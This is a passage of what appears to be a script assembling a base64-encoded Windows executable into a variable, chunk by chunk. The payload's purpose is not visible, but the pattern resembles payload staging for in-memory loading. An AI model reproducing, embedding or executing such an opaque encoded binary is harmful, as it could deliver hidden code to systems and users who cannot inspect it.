cB05UmLz0iLxUgry0krxUg7wUiLTCQgfCtMO+1zFUyJbMwwSImszCACAABI/8FIiUwkIEk73w+D//3//0yL6+l0/f//STvfcxVIiVzMMEyJvMwgAgAASP/BSIlMJCBMO+0Pg9T9//9Mi/3pSf3//0iLvCQwBAAASIu0JDgEAABIi6wkQAQAAEiLnCRIBAAATIu8JCgEAABIi4wkEAQAAEgzzOgRjv//SIHEUAQAAEFeQV1BXMPMzMxIiVwkCFdIg+wgRTPSSYvYTIvaTYXJdSxIhcl1LEiF0nQU6OnJ//+7FgAAAIkY6L3I//9Ei9NIi1wkMEGLwkiDxCBfw0iFyXTZTYXbdNRNhcl1BUSIEeveSIXbdQVEiBHrwEgr2UiL0U2Lw';
$dat += '0mL+UmD+f91FIoEE4gCSP/ChMB0KEmD6AF17usgigQTiAJI/8KEwHQMSYPoAXQGSIPvAXXoSIX/dQNEiBJNhcB1iUmD+f91DkaIVBn/RY1QUOl1////RIgR6EfJ//+7IgAAAOlZ////zEiD7FhIiwX55QAASDPESIlEJEAzwEyLykiD+CBMi8Fzd8ZEBCAASP/ASIP4IHzwigLrHw+20EjB6gMPtsCD4AcPtkwUIA+rwUn/wYhMFCBBigGEwHXd6x9BD7bBugEAAABBD7bJg+EHSMHoA9PihFQEIHUfSf/ARYoIRYTJddkzwEiLTCRASDPM6J6M//9Ig8RYw0mLwOvp6BeR///MzMzMzMzMzMzMzMzMzMxIiVwkCEiJdCQQV0yL0kiNNTt1//9Bg+IPSIv6SSv6SIvaTIvBD1fbSY1C//MPbw9Ig/gOd3OLhIa8jQAASAPG/+BmD3PZAetgZg9z2QLrWWYPc9kD61JmD3PZBOtLZg9z2QXrRGYPc9kG6z1mD3PZB+s2Zg9z2QjrL2YPc9kJ6yhmD3PZCushZg9z2QvrGmYPc9kM6xNmD3PZDesMZg9z2Q7rBWYPc9kPD1fAQbkPAAAAZg90wWYP18CFwA+EMwEAAA+80E2F0nUGRY1Z8usURTPbi8K5EAAAAEkrykg7wUEPksNBi8ErwkE7wQ+HzwAAAIuMhviNAABIA87/4WYPc/kBZg9z2QHptAAAAGYPc/kCZg9z2QLppQAAAGYPc/kDZg9z2QPplgAAAGYPc/kEZg9z2QTphwAAAGYPc/kFZg9z2QXre2YPc/kGZg9z2Qbrb2YPc/kHZg9z2QfrY2YPc/kIZg9z2QjrV2YPc/kJZg9z2QnrS2YPc/kKZg9z2QrrP2YPc/kLZg9z2QvrM2YPc/kMZg9z2QzrJ2YPc/kNZg9z2Q3rG2YPc/kOZg9z2Q7rD2YPc/kPZg9z2Q/rAw9XyUWF2w+F5gAAAPMPb1cQZg9vwmYPdMNmD9fAhcB1NUiL00mLyEiLXCQQSIt0JBhf6V/9//9NhdJ10EQ4VwEPhKwAAABIi1wkEEiLdCQYX+lA/f//D7zIi8FJK8JIg8AQSIP4EHe5RCvJQYP5D3d5QouMjjiOAABIA87/4WYPc/oB62VmD3P6AuteZg9z+gPrV2YPc/oE61BmD3P6BetJZg9z+gbrQmYPc/oH6ztmD3P6COs0Zg9z+gnrLWYPc/oK6yZmD3P6C+sfZg9z+gzrGGYPc/oN6xFmD3P6DusKZg9z+g/rAw9X0mYP69FmD2/KQQ+2AITAdDQPH4QAAAAAAA++wGYPbsBmD2DAZg9gwGYPcMAAZg90wWYP18CFwHUaQQ+2QAFJ/8CEwHXUM8BIi1wkEEiLdCQYX8NIi1wkEEmLwEiLdCQYX8MPHwDyigAA+YoAAACLAAAHiwAADosAABWLAAAciwAAI4sAACqLAAAxiwAAOIsAAD+LAABGiwAATYsAAFSLAACuiwAAvYsAAMyLAADbiwAA6osAAPaLAAACjAAADowAABqMAAAmjAAAMowAAD6MAABKjAAAVowAAGKMAABujAAA7IwAAPOMAAD6jAAAAY0AAAiNAAAPjQAAFo0AAB2NAAAkjQAAK40AADKNAAA5jQAAQI0AAEeNAABOj';
$dat += 'QAAVY0AAEUzwOkAAAAASIlcJAhXSIPsQEiL2kiL+UiFyXUU6KbE///HABYAAADoe8P//zPA62BIhdt050g7+3PySYvQSI1MJCDo8Lf//0iLTCQwSI1T/4N5CAB0JEj/ykg7+ncKD7YC9kQIGQR17kiLy0grykiL04PhAUgr0Uj/yoB8JDgAdAxIi0wkIIOhqAMAAP1Ii8JIi1wkUEiDxEBfw0BVQVRBVUFWQVdIg+xgSI1sJDBIiV1gSIl1aEiJfXBIiwXO4AAASDPFSIlFIESL6kWL+UiL0U2L4EiNTQDoWrf//4u9iAAAAIX/dQdIi0UIi3gM952QAAAARYvPTYvEi88b0oNkJCgASINkJCAAg+II/8LoWNv//0xj8IXAdQcz/+nOAAAASYv2SAP2SI1GEEg78EgbyUgjyHRTSIH5AAQAAHcxSI1BD0g7wXcKSLjw////////D0iD4PDoHDMAAEgr4EiNXCQwSIXbdG/HA8zMAADrE+hmuP//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RHTIvGM9JIi8voypj//0WLz0SJdCQoTYvESIlcJCC6AQAAAIvP6LLa//+FwHQaTIuNgAAAAESLwEiL00GLzf8VxD8AAIv46wIz/0iF23QRSI1L8IE53d0AAHUF6Ky3//+AfRgAdAtIi0UAg6CoAwAA/YvHSItNIEgzzeiphv//SItdYEiLdWhIi31wSI1lMEFfQV5BXUFcXcPMzMxAVUFUQVVBVkFXSIPsYEiNbCRQSIldQEiJdUhIiX1QSIsFPt8AAEgzxUiJRQhIY11gTYv5SIlVAEWL6EiL+YXbfhRIi9NJi8nonxsAADvDjVgBfAKL2ESLdXhFhfZ1B0iLB0SLcAz3nYAAAABEi8tNi8dBi84b0oNkJCgASINkJCAAg+II/8LotNn//0xj4IXAD4Q2AgAASYvESbjw////////D0gDwEiNSBBIO8FIG9JII9F0U0iB+gAEAAB3LkiNQg9IO8J3A0mLwEiD4PDoeDEAAEgr4EiNdCRQSIX2D4TOAQAAxwbMzAAA6xZIi8rou7b//0iL8EiFwHQOxwDd3QAASIPGEOsCM/ZIhfYPhJ8BAABEiWQkKESLy02Lx0iJdCQgugEAAABBi87oD9n//4XAD4R6AQAASINkJEAARYvMSINkJDgATIv';
$dat += 'GSINkJDAAQYvVTIt9AINkJCgASYvPSINkJCAA6HHf//9IY/iFwA+EPQEAALoABAAARIXqdFKLRXCFwA+EKgEAADv4D48gAQAASINkJEAARYvMSINkJDgATIvGSINkJDAAQYvViUQkKEmLz0iLRWhIiUQkIOgZ3///i/iFwA+F6AAAAOnhAAAASIvPSAPJSI1BEEg7yEgbyUgjyHRTSDvKdzVIjUEPSDvBdwpIuPD///////8PSIPg8OhEMAAASCvgSI1cJFBIhdsPhJoAAADHA8zMAADrE+iKtf//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RySINkJEAARYvMSINkJDgATIvGSINkJDAAQYvViXwkKEmLz0iJXCQg6G/e//+FwHQxSINkJDgAM9JIIVQkMESLz4tFcEyLw0GLzoXAdWUhVCQoSCFUJCDoANj//4v4hcB1YEiNS/CBOd3dAAB1Bei9tP//M/9IhfZ0EUiNTvCBOd3dAAB1BeiltP//i8dIi00ISDPN6LOD//9Ii11ASIt1SEiLfVBIjWUQQV9BXkFdQVxdw4lEJChIi0VoSIlEJCDrlUiNS/CBOd3dAAB1p+hdtP//66DMzMxIiVwkCEiJdCQQV0iD7HBIi/JJi9lIi9FBi/hIjUwkUOjPsv//i4QkwAAAAEiNTCRYiUQkQEyLy4uEJLgAAABEi8eJRCQ4SIvWi4QksAAAAIlEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDod/z//4B8JGgAdAxIi0wkUIOhqAMAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzEiD7Cjom9L//zPJhMAPlMGLwUiDxCjDzEiD7ChIhcl1GejGvv//xwAWAAAA6Ju9//9Ig8j/SIPEKMNMi8Ez0kiLDWbyAABIg8QoSP8lYzsAAMzMzEiJXCQIV0iD7CBIi9pIi/lIhcl1CkiLyuiPs///6x9Ihdt1B+hDs///6xFIg/vgdi3oYr7//8cADAAAADPASItcJDBIg8QgX8Pohuz//4XAdN9Ii8vohuH//4XAdNNIiw3z8QAATIvLTIvHM9L/Ff08AABIhcB00evEzMxIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7CBMi/FIhcl0dDPbTI09s2r//7/jAAAAjQQfQbhVAAAAmUmLzivC0fhIY+hIi9VIi/VIA9JJi5TXIBMBAOgsFwAAhcB0E3kFjX3/6wONXQE7337Eg8j/6wtIA/ZBi4T3KBMBAIXAeBY95AAAAHMPSJhIA8BBi4THwPgAAOsCM8BIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzEiJXCQISIlsJBBIiXQkGFdIg+wgukgAAACNSvjoa73//z';
$dat += 'P2SIvYSIXAdFtIjagAEgAASDvFdExIjXgwSI1P0EUzwLqgDwAA6Pza//9Ig0/4/0iNTw6AZw34i8ZIiTfHRwgAAAoKxkcMCkCIMf/ASP/Bg/gFcvNIg8dISI1H0Eg7xXW4SIvzM8nos7H//0iLXCQwSIvGSIt0JEBIi2wkOEiDxCBfw8zMzEiFyXRKSIlcJAhIiXQkEFdIg+wgSI2xABIAAEiL2UiL+Ug7znQSSIvP/xWdOgAASIPHSEg7/nXuSIvL6Fix//9Ii1wkMEiLdCQ4SIPEIF/DSIlcJAhIiXQkEEiJfCQYQVdIg+wwi/GB+QAgAAByKehQvP//uwkAAACJGOgku///i8NIi1wkQEiLdCRISIt8JFBIg8QwQV/DM/+NTwfoQrj//5CL34sF6fMAAEiJXCQgO/B8NkyNPdnvAABJOTzfdALrIuiQ/v//SYkE30iFwHUFjXgM6xSLBbjzAACDwECJBa/zAABI/8PrwbkHAAAA6ES4//+Lx+uKSGPRTI0Fku8AAEiLwoPiP0jB+AZIjQzSSYsEwEiNDMhI/yWdOQAAzEhj0UyNBWrvAABIi8KD4j9IwfgGSI0M0kmLBMBIjQzISP8lfTkAAMxIiVwkCEiJdCQQSIl8JBhBVkiD7CBIY9mFyXhyOx0q8wAAc2pIi8NMjTUe7wAAg+A/SIvzSMH+BkiNPMBJiwT29kT4OAF0R0iDfPgo/3Q/6NwUAACD+AF1J4XbdBYr2HQLO9h1G7n0////6wy59f///+sFufb///8z0v8VdDgAAEmLBPZIg0z4KP8zwOsW6Om6///HAAkAAADovrr//4MgAIPI/0iLXCQwSIt0JDhIi3wkQEiDxCBBXsPMzEiD7CiD+f51FeiSuv//gyAA6Kq6///HAAkAAADrToXJeDI7DWjyAABzKkhjyUyNBVzuAABIi8GD4T9IwfgGSI0UyUmLBMD2RNA4AXQHSItE0CjrHOhHuv//gyAA6F+6///HAAkAAADoNLn//0iDyP9Ig8Qow8zMzEiJXCQITIlMJCBXSIPsIEmL+UmL2IsK6GD+//+QSIsDSGMISIvRSIvBSMH4BkyNBeTtAACD4j9IjRTSSYsEwPZE0DgBdCToPf///0iLyP8VZDcAADPbhcB1HujJuf//SIvY/xXQNgAAiQPo2bn//8cACQAAAIPL/4sP6CX+//+Lw0iLXCQwSIPEIF/DiUwkCEiD7DhIY9GD+v51Deinuf//xwAJAAAA62yFyXhYOxVl8QAAc1BIi8pMjQVZ7QAAg+E/SIvCSMH4BkiNDMlJiwTA9kTIOAF0LUiNRCRAiVQkUIlUJFhMjUwkUEiNVCRYSIlEJCBMjUQkIEiNTCRI6P3+///rE+g';
$dat += '+uf//xwAJAAAA6BO4//+DyP9Ig8Q4w8zMzEiJXCQIVVZXQVRBVUFWQVdIjWwk2UiB7AABAABIiwXN1QAASDPESIlFF0hj8k2L+EiLxkiJTfdIiUXvSI0NpmX//4PgP0WL6U0D6EyJRd9Mi+ZMiW2vScH8BkyNNMBKi4ThEIcBAEqLRPAoSIlFt/8VEzYAADPSSI1MJFCJRafoFKz//0iLTCRYRTPbRIldl0GL24ldm0mL/4tRDEGLy4lMJECJVatNO/0Pg+IDAABIi8ZJi/dIwfgGSIlF54oPQb8BAAAAiEwkRESJXCRIgfrp/QAAD4VwAQAATI09B2X//0GL002LjMcQhwEASYvzS40E8UQ4XDA+dAv/wkj/xkiD/gV87kiF9g+O4AAAAEuLhOcQhwEATItFr0wrx0IPtkzwPkYPvrw5wHgBAEH/x0WL70Qr6k1j1U070A+PeAIAAEiNRf9Ji9NMK8hPjQTxSI1N/0gDykj/wkKKRAE+iAFIO9Z86kWF7X4VSI1N/02LwkgDzkiL1+iskf//RTPbSYvTTI0FX2T//0uLjOAQhwEASAPKSP/CRohc8T5IO9Z86EiNRf9MiV2/SIlFx0yNTb9Bi8NIjVXHQYP/BEiNTCRID5TA/8BEi8BEi/joVwwAAEiD+P8PhNcAAABBjUX/TIttr0hj8EgD9+nmAAAAD7YHSYvVSCvXSg++tDjAeAEAjU4BSGPBSDvCD4/kAQAAg/kETIldz0GLw0iJfdcPlMBMjU3P/8BIjVXXRIvASI1MJEiL2OjvCwAASIP4/3RzSAP3RIv76YoAAABIjQWXY///SouU4BCHAQBCikzyPfbBBHQbQopE8j6A4fuIRQeKB0KITPI9SI1VB4hFCOsf6LHk//8Ptg8z0mY5FEh9LUj/xkk79Q+DsgEAAEiL10G4AgAAAEiNTCRI6EPj//+D+P91IoB9jwDpiwEAAE2Lx0iNTCRISIvX6CXj//+D+P8PhK8BAACLTadIjUUPM9tMjUQkSEiJXCQ4SI1+AUiJXCQwRYvPx0QkKAUAAAAz0kiJRCQg6CHO//+L8IXAD4TSAQAASItNt0yNTCRMRIvASIlcJCBIjVUP/xVkMwAARTPbhcAPhKMBAABEi3wkQIvfK13fQQPfiV2bOXQkTA+C8QAAAIB8JEQKdUlIi023QY1DDUyNTCRMZolEJERFjUMBTIlcJCBIjVQkRP8VEjMAAEUz24XAD4TxAAAAg3wkTAEPgq4AAABB/8f/w0SJfCRAiV2bSIv3STv9D4PgAAAASItF54tVq+kE/f//QYvTTYXAfi1IK/5IjR0';
$dat += 'dYv//igQ3/8JKi4zjEIcBAEgDzkj/xkKIRPE+SGPCSTvAfOCLXZtBA9jrTEWLy0iF0n5CTItt702Lw02L1UGD5T9JwfoGTo0c7QAAAABNA91BigQ4Qf/BS4uM1xCHAQBJA8hJ/8BCiETZPkljwUg7wnzeRTPbA9qJXZtEOF2Pi0wkQOtJigdMjQWTYf//S4uM4BCHAQD/w4ldm0KIRPE+S4uE4BCHAQBCgEzwPQQ4VY/rzP8VmDEAAIlFl4tMJECAfY8A6wiLTCRARDhdj3QMSItEJFCDoKgDAAD9SItF9/IPEEWX8g8RAIlICEiLTRdIM8zoWXj//0iLnCRAAQAASIHEAAEAAEFfQV5BXUFcX15dw/8VODEAAIlFl4tMJEA4XY/rqUiJXCQISIlsJBhWV0FWuFAUAADo1CMAAEgr4EiLBeLQAABIM8RIiYQkQBQAAExj0kiL+UmLwkGL6UjB+AZIjQ3I5wAAQYPiP0kD6EmL8EiLBMFLjRTSTIt00CgzwEiJB4lHCEw7xXNvSI1cJEBIO/VzJIoGSP/GPAp1Cf9HCMYDDUj/w4gDSP/DSI2EJD8UAABIO9hy10iDZCQgAEiNRCRAK9hMjUwkMESLw0iNVCRASYvO/xXrMAAAhcB0EotEJDABRwQ7w3IPSDv1cpvrCP8VVzAAAIkHSIvHSIuMJEAUAABIM8zoQnf//0yNnCRQFAAASYtbIEmLazBJi+NBXl9ew8zMSIlcJAhIiWwkGFZXQVa4UBQAAOjQIgAASCvgSIsF3s8AAEgzxEiJhCRAFAAATGPSSIv5SYvCQYvpSMH4BkiNDcTmAABBg+I/SQPoSYvwSIsEwUuNFNJMi3TQKDPASIkHiUcITDvFD4OCAAAASI1cJEBIO/VzMQ+3BkiDxgJmg/gKdRCDRwgCuQ0AAABmiQtIg8MCZokDSIPDAkiNhCQ+FAAASDvYcspIg2QkIABIjUQkQEgr2EyNTCQwSNH7SI1UJEAD20mLzkSLw/8V0C8AAIXAdBKLRCQwAUcEO8NyD0g79XKI6wj/FTwvAACJB0iLx0iLjCRAFAAASDPM6Cd2//9MjZwkUBQAAEmLWyBJi2swSYvjQV5fXsPMzMxIiVwkCEiJbCQYV';
$dat += 'ldBVEFWQVe4cBQAAOiwIQAASCvgSIsFvs4AAEgzxEiJhCRgFAAATGPSSIvZSYvCRYvxSMH4BkiNDaTlAABBg+I/TQPwTYv4SYv4SIsEwUuNFNJMi2TQKDPASIkDTTvGiUMID4POAAAASI1EJFBJO/5zLQ+3D0iDxwJmg/kKdQy6DQAAAGaJEEiDwAJmiQhIg8ACSI2MJPgGAABIO8FyzkiDZCQ4AEiNTCRQSINkJDAATI1EJFBIK8HHRCQoVQ0AAEiNjCQABwAASNH4SIlMJCBEi8i56f0AADPS6DLJ//+L6IXAdEkz9oXAdDNIg2QkIABIjZQkAAcAAIvOTI1MJEBEi8VIA9FJi8xEK8b/FWcuAACFwHQYA3QkQDv1cs2Lx0Erx4lDBEk7/uk0/////xXNLQAAiQNIi8NIi4wkYBQAAEgzzOi4dP//TI2cJHAUAABJi1swSYtrQEmL40FfQV5BXF9ew0iJXCQQSIl0JBiJTCQIV0FUQVVBVkFXSIPsIEWL8EyL+khj2YP7/nUY6F6w//+DIADodrD//8cACQAAAOmPAAAAhcl4czsdMegAAHNrSIvDSIvzSMH+BkyNLR7kAACD4D9MjSTASYtE9QBC9kTgOAF0RovL6Gf0//+Dz/9Ji0T1AEL2ROA4AXUV6B6w///HAAkAAADo86///4MgAOsPRYvGSYvXi8voQQAAAIv4i8voVPT//4vH6xvoz6///4MgAOjnr///xwAJAAAA6Lyu//+DyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8PMSIlcJCBVVldBVEFVQVZBV0iL7EiD7GAz20WL8Exj4UiL+kWFwA+EngIAAEiF0nUf6Guv//+JGOiEr///xwAWAAAA6Fmu//+DyP/pfAIAAEmLxEiNDTfjAACD4D9Ni+xJwf0GTI08wEqLDOlCD750+TmNRv88AXcJQYvG99CoAXSvQvZE+TggdA4z0kGLzESNQgLogQkAAEGLzEiJXeDoNQMAAIXAD4QLAQAASI0F3uIAAEqLBOhCOFz4OA+N9QAAAOgqqP//SIuIkAAAAEg5mTgBAAB1FkiNBbPiAABKiwToQjhc+DkPhMoAAABIjQWd4gAASosM6EiNVfBKi0z5KP8VEiwAAIXAD4SoAAAAQIT2D4SBAAAAQP7OQID+AQ+HLgEAAE6NJDdIiV3QTIv3STv8D4MQAQAAi3XUQQ+3Bg+3yGaJRfDo1QgAAA+3TfBmO8F1NoPGAol11GaD+Qp1G7kNAAAA6LYIAAC5DQAAAGY7wXUW/8aJddT/w0mDxgJNO/QPg8AAAADrsf8VICsAAIlF0OmwAAAARYvOSI1N0EyLx0GL1Oju9P//8g8QAItYCOmXAAAASI0F0+EAAEqLDOhCOFz5OH1Ni85AhPZ0MoPpAXQZg/kBdXlFi85IjU3QTIvHQYvU6J36///rvUWLz';
$dat += 'kiNTdBMi8dBi9Topfv//+upRYvOSI1N0EyLx0GL1Ohx+f//65VKi0z5KEyNTdQzwEWLxkghRCQgSIvXSIlF0IlF2P8V8CoAAIXAdQn/FW4qAACJRdCLXdjyDxBF0PIPEUXgSItF4EjB6CCFwHVki0XghcB0LYP4BXUb6FGt///HAAkAAADoJq3//8cABQAAAOnC/f//i03g6MOs///ptf3//0iNBffgAABKiwToQvZE+DhAdAWAPxp0H+gRrf//xwAcAAAA6Oas//+DIADphf3//4tF5CvD6wIzwEiLnCS4AAAASIPEYEFfQV5BXUFcX15dw8xIiVwkCFdIg+wwg2QkIAC5CAAAAOjjqP//kLsDAAAAiVwkJDsdw+QAAHRtSGP7SIsFv+QAAEiLDPhIhcl1AutUi0EUwegNqAF0GUiLDaPkAABIiwz56KIHAACD+P90BP9EJCBIiwWK5AAASIsM+EiDwTD/FWwqAABIiw115AAASIsM+egoof//SIsFZeQAAEiDJPgA/8Prh7kIAAAA6K6o//+LRCQgSItcJEBIg8QwX8PMzMxAU0iD7CCLQRRIi9nB6A2oAXQni0EUwegGqAF0HUiLSQjo1qD///CBYxS//v//M8BIiUMISIkDiUMQSIPEIFvDSIPsKIP5/nUN6Nqr///HAAkAAADrQoXJeC47DZjjAABzJkhjyUiNFYzfAABIi8GD4T9IwfgGSI0MyUiLBMIPtkTIOIPgQOsS6Jur///HAAkAAADocKr//zPASIPEKMPMQFNIg+xASGPZSI1MJCDo5Z7//41DAT0AAQAAdxNIi0QkKEiLCA+3BFklAIAAAOsCM8CAfCQ4AHQMSItMJCCDoagDAAD9SIPEQFvDzEBTSIPsMEiL2UiNTCQg6K0GAABIg/gEdxqLVCQguf3/AACB+v//AAAPR9FIhdt0A2aJE0iDxDBbw8zMzEiJXCQQSIlsJBhXQVRBVUFWQVdIg+wgSIs6RTPtTYvhSYvoTIvyTIv5SIXJD4TuAAAASIvZTYXAD4ShAAAARDgvdQhBuAEAAADrHUQ4bwF1CEG4AgAAAOsPikcC9thNG8BJ99hJg8ADTYvMSI1MJFBIi9foDAYAAEiL0EiD+P90dUiFwHRni0wkUIH5//8AAHY5SIP9AXZHgcEAAP//QbgA2AAAi8GJTCRQwegKSP/NZkELwGaJA7j/AwAAZiPISIPDArgA3AAAZgvIZokLSAP6SIPDAkiD7QEPhV////9JK99JiT5I0ftIi8PrG0mL/WZEiSvr6UmJPugCqv//xwAqAAAASIPI/0iLXCRYSItsJGBIg8QgQV9BXkFdQVxfw0mL3UQ4L3UIQbgBAAAA6x1EOG8BdQhBuAIAAADrD4pHAvbYTRvASffYSYPAA02LzEiL1zPJ6CoFAABIg/j/dJlIhcB0g0iD+AR1A0j/w0gD+Ej/w+utzMxIhckPhAABAABTSIPsIEiL2UiLSRhIOw1kzgAAdAXoOZ7//0iLSyBIOw1azgAAdAXoJ57//0iLSyhIOw1QzgAAdAXoFZ7//0iLSzBIOw1GzgAAdAXoA57//0iLSzhIOw08zgAAdAXo8Z3//0iLS0BIOw0yzgAAdAXo353//0iLS0hIOw0ozgAAdAXozZ3//0iLS2hIOw02zgAAdAXou53//0iLS3BIOw0szgAAdAXoqZ3//0iLS3hIOw0izgAAdAXol53//0iLi4AAAABIOw0VzgAAdAXogp3//0iLi4gAAABIOw0IzgAAdAXobZ3//0iLi5AAAABIOw37zQAAdAXoWJ3//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DUXNAAB0Begynf//SItLCEg7DTvNAAB0Beggnf//SItLEEg7DTHNAAB0BegOnf//SItLWEg7DWf';
$dat += 'NAAB0Bej8nP//SItLYEg7DV3NAAB0BejqnP//SIPEIFvDSIlcJAhIiXQkEFdIg+wgM/9IjQTRSIvZSIvySLn/////////H0gj8Ug72EgPR/dIhfZ0FEiLC+ionP//SP/HSI1bCEg7/nXsSItcJDBIi3QkOEiDxCBfw0iFyQ+E/gAAAEiJXCQISIlsJBBWSIPsIL0HAAAASIvZi9Xogf///0iNSziL1eh2////jXUFi9ZIjUtw6Gj///9IjYvQAAAAi9boWv///0iNizABAACNVfvoS////0iLi0ABAADoI5z//0iLi0gBAADoF5z//0iLi1ABAADoC5z//0iNi2ABAACL1egZ////SI2LmAEAAIvV6Av///9IjYvQAQAAi9bo/f7//0iNizACAACL1ujv/v//SI2LkAIAAI1V++jg/v//SIuLoAIAAOi4m///SIuLqAIAAOism///SIuLsAIAAOigm///SIuLuAIAAOiUm///SItcJDBIi2wkOEiDxCBewzPAOAF0Dkg7wnQJSP/AgDwIAHXyw8zMzEyL2kyL0U2FwHUDM8DDQQ+3Ck2NUgJBD7cTTY1bAo1Bv4P4GUSNSSCNQr9ED0fJg/gZjUogQYvBD0fKK8F1C0WFyXQGSYPoAXXEw8yLBY7eAADDzEiJXCQISIl0JBBXSIPsIEhj2UGL+IvLSIvy6GXr//9Ig/j/dRHoGqb//8cACQAAAEiDyP/rU0SLz0yNRCRISIvWSIvI/xVKIwAAhcB1D/8V4CIAAIvI6Hml///r00iLRCRISIP4/3TISIvTTI0FotkAAIPiP0iLy0jB+QZIjRTSSYsMyIBk0Tj9SItcJDBIi3QkOEiDxCBfw8zMzOlf////zMzMZolMJAhIg+wo6J4IAACFwHQfTI1EJDi6AQAAAEiNTCQw6PYIAACFwHQHD7dEJDDrBbj//wAASIPEKMPMSIlcJAhXSIPsIEiL2UiFyXUV6E2l///HABYAAADoIqT//4PI/+tRi0EUg8//wegNqAF0OugPzv//SIvLi/jo+fj//0iLy+hR0v//i8jowgkAAIXAeQWDz//rE0iLSyhIhcl0CujPmf//SINjKABIi8voAgsAAIvHSItcJDBIg8QgX8PMSIlcJBBIiUwkCFdIg+wgSIvZSIXJdR7oxKT//8cAFgAAAOiZo///g8j';
$dat += '/SItcJDhIg8QgX8OLQRTB6AyoAXQH6LAKAADr4ejFz///kEiLy+go////i/hIi8vovs///4vH68jMzEiJXCQQVVZXQVZBV0iD7EBIiwUtwQAASDPESIlEJDBFM9JMjR2j3AAATYXJSI09mywAAEiLwkyL+k0PRdlIhdJBjWoBSA9F+kSL9U0PRfBI99hIG/ZII/FNhfZ1DEjHwP7////pTgEAAGZFOVMGdWhED7YPSP/HRYTJeBdIhfZ0A0SJDkWEyUEPlcJJi8LpJAEAAEGKwSTgPMB1BUGwAuseQYrBJPA84HUFQbAD6xBBisEk+DzwD4XpAAAAQbAEQQ+2wLkHAAAAK8iL1dPiQYrYK9VBI9HrKUWKQwRBixNBilsGQY1A/jwCD4e2AAAAQDrdD4KtAAAAQTrYD4OkAAAAD7brSTvuRIvNTQ9DzuseD7YPSP/HisEkwDyAD4WDAAAAi8KD4T/B4AaL0QvQSIvHSSvHSTvBctdMO81zHEEPtsBBKtlmQYlDBA+2w2ZBiUMGQYkT6QP///+NggAo//89/wcAAHY+gfoAABEAczZBD7bAx0QkIIAAAADHRCQkAAgAAMdEJCgAAAEAO1SEGHIUSIX2dAKJFvfaTYkTSBvASCPF6xJNiRPoz6L//8cAKgAAAEiDyP9Ii0wkMEgzzOioZv//SItcJHhIg8RAQV9BXl9eXcPMzMzMzMzMSIPsWGYPf3QkIIM969oAAAAPhekCAABmDyjYZg8o4GYPc9M0ZkgPfsBmD/sdL3sAAGYPKOhmD1Qt83oAAGYPLy3regAAD4SFAgAAZg8o0PMP5vNmD1ftZg8vxQ+GLwIAAGYP2xUXewAA8g9cJZ97AABmDy81J3wAAA+E2AEAAGYPVCV5fAAATIvISCMF/3oAAEwjDQh7AABJ0eFJA8FmSA9uyGYPLyUVfAAAD4LfAAAASMHoLGYP6xVjewAAZg/rDVt7AABMjQ3UjAAA8g9cyvJBD1kMwWYPKNFmDyjBTI0Nm3wAAPIPEB2jewAA8g8QDWt7AADyD1na8g9ZyvIPWcJmDyjg8g9YHXN7AADyD1gNO3sAAPIPWeDyD1na8g9ZyPIPWB1HewAA8g9YyvIPWdzyD1jL8g8QLbN6AADyD1kNa3oAAPIPWe7yD1zp8kEPEATBSI0VNoQAAPIPEBTC8g8QJXl6AADyD1nm8g9YxPIPWNXyD1jCZg9vdCQgSIPEWMNmZmZmZmYPH';
$dat += '4QAAAAAAPIPEBVoegAA8g9cBXB6AADyD1jQZg8oyPIPXsryDxAlbHsAAPIPEC2EewAAZg8o8PIPWfHyD1jJZg8o0fIPWdHyD1ni8g9Z6vIPWCUwewAA8g9YLUh7AADyD1nR8g9Z4vIPWdLyD1nR8g9Z6vIPEBXMeQAA8g9Y5fIPXObyDxA1rHkAAGYPKNhmD9sdMHsAAPIPXMPyD1jgZg8ow2YPKMzyD1ni8g9ZwvIPWc7yD1ne8g9YxPIPWMHyD1jDZg9vdCQgSIPEWMNmD+sVsXkAAPIPXBWpeQAA8g8Q6mYP2xUNeQAAZkgPftBmD3PVNGYP+i0regAA8w/m9enx/f//ZpB1HvIPEA2GeAAARIsFv3oAAOjqCAAA60gPH4QAAAAAAPIPEA2IeAAARIsFpXoAAOjMCAAA6ypmZg8fhAAAAAAASDsFWXgAAHQXSDsFQHgAAHTOSAsFZ3gAAGZID27AZpBmD290JCBIg8RYww8fRAAASDPAxeFz0DTE4fl+wMXh+x1LeAAAxfrm88X52y0PeAAAxfkvLQd4AAAPhEECAADF0e/txfkvxQ+G4wEAAMX52xU7eAAAxftcJcN4AADF+S81S3kAAA+EjgEAAMX52w0teAAAxfnbHTV4AADF4XPzAcXh1MnE4fl+yMXZ2yV/eQAAxfkvJTd5AAAPgrEAAABIwegsxenrFYV4AADF8esNfXgAAEyNDfaJAADF81zKxMFzWQzBTI0NxXkAAMXzWcHF+xAdyXgAAMX7EC2ReAAAxOLxqR2oeAAAxOLxqS0/eAAA8g8Q4MTi8akdgngAAMX7WeDE4tG5yMTi4bnMxfNZDax3AADF+xAt5HcAAMTiyavp8kEPEATBSI0VcoEAAPIPEBTCxetY1cTiybkFsHcAAMX7WMLF+W90JCBIg8RYw5DF+xAVuHcAAMX7XAXAdwAAxetY0MX7XsrF+xAlwHgAAMX7EC3YeAAAxftZ8cXzWMnF81nRxOLpqSWTeAAAxOLpqS2qeAAAxetZ0cXbWeLF61nSxetZ0cXTWerF21jlxdtc5sX52x2meAAAxftcw8XbWODF21kNBncAAMXbWSUOdwAAxeNZBQZ3AADF41kd7nYAAMX7WMTF+1jBxftYw8X5b3QkIEiDxFjDxenrFR93AADF61wVF3cAAMXRc9I0xenbFXp2AADF+SjCxdH6LZ53AADF+ub16UD+//8PH0QAAHUuxfsQDfZ1AABEiwUveAAA6FoGAADF+W90JCBIg8RYw2ZmZmZmZmYPH4QAAAAAAMX7EA3odQAARIsFBXgAAOgsBgAAxflvdCQgSIPEWMOQSDsFuXUAAHQnSDsFoHUAAHTOSAsFx3UAAGZID27IRIsF03cAAOj2BQAA6wQPH0AAxflvdCQgSIPEWMPMQFNIg+xASIsFZ8MAADPbSIP4/nUuSIlcJDBEjUMDiVwkKEiNDZt3AABFM8lEiUQkILoAAABA/xWgGQAASIkFMcMAAEiD+P8PlcOLw0iDxEBbw8zMSIPsKEiLDRXDAABIg/n9dwb